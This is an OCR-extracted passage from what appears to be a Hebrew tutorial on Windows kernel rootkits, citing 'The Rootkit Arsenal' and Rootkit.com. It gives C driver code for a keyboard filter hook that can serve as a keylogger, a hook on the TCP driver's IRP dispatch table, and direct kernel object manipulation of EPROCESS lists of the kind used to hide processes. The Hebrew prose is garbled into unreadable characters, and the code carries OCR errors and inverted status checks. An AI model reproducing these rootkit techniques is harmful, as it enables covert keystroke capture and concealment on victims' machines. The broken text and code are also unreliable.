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1O_STACK_LOCATION

struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
Parameters; o'na 16 nm'opn ,'o-I8-"NN NIYPA? D'I0VNION
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT FileObject;
Unsigned int *Completion Routine ;
Unsigned int *Context
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NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)

{
DbgPrint("Entering Hook Routine...\n");
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Ilthe filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;

/ICreate a keyboard device object

NTSTATUS status =loCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),
NULL, //no name

FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

/IMake sure the device was created ok
if(INT_SUCCESS(status))
return status;

DbgPrint("Created keyboard device successfully...\n");

T T L

/[Copy the characteristics of the target keyboard driver into

/lthe filter device

/lobject because we have to mirror the keyboard device underneath
/lus.

/[These characteristics can be determined by examining the target
/[driver using an

/lapplication like DeviceTree in the DDK
T L T

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags |
(DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &
~DO_DEVICE_INITIALIZING;

DbgPrint("Flags set succesfully...\n");

M T

[Nnitialize the device extension - The device extension is a
/lcustom defined data structure

[[for our driver where we can store information which is
/l[guaranteed to exist in nonpaged memory.
M

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,
sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized...\n");

//Get the pointer to the device extension
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

T T T T
llInsert the filter driver onto the device stack above the target
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/lkeyboard driver underneath and

/[save the old pointer to the top of the stack. We need this
//address to direct IRPS to the drivers

/lunderneath us on the stack.
T L |

CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;

UNICODE_STRING uKeyboardDeviceName;
RtlinitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE
ik

loAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtIFreeUnicodeString(&uKeyboardDeviceName);

DbgPrint("Filter Device Attached Successfully...\n");

return STATUS SUCCESS;
}/end HookKeyboard
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IRP Hooking
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NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;

RtlinitUnicodeString (
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&deviceTCPUnicodeString, deviceTCPNameBuffer);
ntStatus = loGetDeviceObjectPointer(

&deviceTCPUnicodeString,

FILE_READ_DATA,

&pFile_tcp,

&pDev_tcp);
if(NT_SUCCESS(ntStatus))

return ntStatus;

pDrv_tcpip = pDev_tcp->DriverObject;

OldIrpMjDeviceControl =
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange (
(PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);

return STATUS SUCCESS;
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7T W
SmMipa o'opraik 7w 2w nnn imivnwn — Direct Kernel Object Manipulation

N1aN NX) DNIXK NN71 (DUI0N 7NN 7Y VPR D)) 7MPAY D'UPMIIND WIN'WY? X' NN
EPROCESS 1 no¥1 DX ,7wn? .NNNX NNOUN IR AX72 0YNd ARIoN A2'wn? 'O (D2Iman
:0"MAIND DYY2 INT 72772 1'70N rTann 0tima naan — Structure-

nt!_EPROCESS

+0x000 Pcb : _KPROCESS

+0x06¢c ProcessLock : EX PUSH_LOCK
+0x070 CreateTime . _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER

+0x080 RundownProtect : EX _RUNDOWN_REF
+0x084 UniqueProcessld : Ptr32Void

+0x088 ActiveProcessLinks : LIST ENTRY
+0x090 QuotaUsage :[3] Uint4B

+0x09c QuotaPeak : [3] Uint4B

+0x0a8 CommitCharge : Uint4B

+0x0ac PeakVirtualSize : Uint4B

+0x0b0 VirtualSize  : Uint4B

+0x0b4 SessionProcessLinks : _LIST ENTRY
+0x0bc DebugPort : Ptr32Void

+0x0c0 ExceptionPort : Ptr32Void

+0x0c4 ObjectTable  : Ptr32_ HANDLE_TABLE
+0x0c8 Token . _EX_FAST_REF

+0x0cc WorkingSetLock : FAST_MUTEX
+0x0ec WorkingSetPage : Uint4B

+0x0f0 AddressCreationLock : FAST MUTEX
+0x110 HyperSpaceLock : Uint4B

+0x114 ForkinProgress : Ptr32_ETHREAD
+0x118 HardwareTrigger : Uint4B

-7 70119 ARwN 12 7onw 0aima nan — Process Control Block(PCB) — KPROCESS Block
-1 awim) Quantum -1 7nn%? oo'ww KTHREADS-n nn'wn '7nnn 7w Page Directory
.("Th xNm Mk 1101 X7 ,Schedueling

JOown "muign nnwn" %9 aixa onTionn 02N - ActiveProcessLinks
IMNX XaY 7'70N7 20119 — "FORWARD"-ni "BACK"-n 10219 N niinn ActiveProcessLinks
7> nmax¥n? wnwn NN Windows Task Manager-n > "1 win'wa .17 DTpw *7nNn7 1011191
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(Wordware — The rootkit arsenal)

2929597572 ININ MDY T QIINT IR PIATD D902 2YIMR 1IN TN IN
J7nnn 9w EPROCESS Structure-n nx 117 n'tnnw n'xpuo X'n PsGetCurrentProcess
- PsGetCurrentProcess 1wimm .'ndin

kd>uf nt!PsGetCurrentProcess

mov eax, dword ptr fs:[00000124H]
mov eax, dword ptr [eax+48h]

ret
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7y RXI'n N7 0219 ,FS:124H-1 k¥nmw 'ndinn ETHREAD-7 2021190 7w nawn XN lwxn 77nn
KilnitialThread-> n>ynn 1

kd> dt nt! ETHREAD

+0xe09 Tcb . _KTHREAD

+0x1e@ CreateTime : _LARGE_INTEGER
+0x1e8 ExitTime : _LARGE_INTEGER
+0x1e8 KeyedwaitChain : _LIST_ENTRY
+0x1f0 ExitStatus : IntdB

+9x1f0 OfsChain . Ptr32 Void
+0x1f4 PostBlocklList ¢ _LIST_ENTRY

+9x1f4 ForwardlLinkShadow : Ptr32 Void

:KTHREAD-2 xxn1 ETHREAD-2 0x48 vooixn ' NniX17 '7on

0: kd> dt nt!_KTHREAD

+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x034 ThreadLock : Uint4B

+0x038 ApcState . KAPC STATE
+0x038 ApcStateFill : [23] UChar

17w _KAPC_STATE nfiman n1ana 0x10 vooix nxya xin KTHREAD-2 0x48 vooixnl

kd> dt nt!_KAPC_STATE
+0x009 ApcListHead : _LIST_ENTRY

+Px010 Process : Ptr32 KPROCESS
+0x014 KernelApcInProgress : UChar

+0x015 KernelApcPending : UChar
+9x016 UserApcPending : UChar
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viwo 711 — PsGetCurrentProcess-7 nxpn nnx ,p7 .© kprocess block-7 20119 700w
TP RIN ,NAN TIPN .XNNYT7 NX1 IMIRY 1'70Nn DR Kixn?1 0'-EPROCESS-n nwawa TIvxY?
nXIWN M) 17w Processld-n '97 n'ion 7'7nn 7w EPROCESS-n NX NRXINY N'¥1197 XNAIT

:(ImMana nix7 v '90 EPROCESS-a nTw xiInw UniqueProcessld-n 7w

DWORD findProcess ( DWORD targetProcessld )
{
int loop = 0;

DWORD eProcess;
DWORD firstProcess;
DWORD nextProcess;
PLIST_ENTRY processList;

if (targetProcessld ==0)
return O;

/I Get the process list

eProcess = (DWORD)PsGetCurrentProcess();

Il Traverse the process list

firstProcess = *((DWORD?*)(eProcess + (listOffset - 4)));
nextProcess = firstProcess;

for(;:)

{

if(targetProcessld == nextProcess)

// found the process
break;

}

else if( loop && (nextProcess == firstProcess) )

Il circled without finding the process
eProcess = 0;
break;

}

else

/I get the next process

processList = (LIST_ENTRY*)(eProcess + listOffset);
if( processList->Flink == 0)

{

DbgPrint ("findProcess no Flink!);

break;

}
eProcess = (DWORD)processList->Flink;
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eProcess = eProcess - listOffset;
nextProcess = *((DWORD*)(eProcess + (listOffset - 4)));

}

loop++;

}
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KiWaitListHead.Flink e
KiWaitListHead.Blink e
KeTickCount.LowPart e

ANIR NO71 NINT? NI 2211 97 ,ndwnn T 7y kit KeTickCount

NIYA5N DY 1 71N nNIX X pPirma vy KiDispatcherReadylListHead nx xixn% 2
N7 i nmenn nw DR arynw nR?  NtYieldExecution-1 KeDelayExecutionThread
ZNNAN NYAI9N NITYA 070N Y ' [nn NIwyy

void ProcessListHead(PLIST_ENTRY ListHead)

{
PLIST_ENTRY Item;

if (ListHead)
{

Item = ListHead->Flink;
while (Item != ListHead)

{
CollectProcess(*(PEPROCESS *)((ULONG)Item + WaitProcOffset));
ltem = ltem->Flink;

}
}

return;

}

(Rootkit.com)
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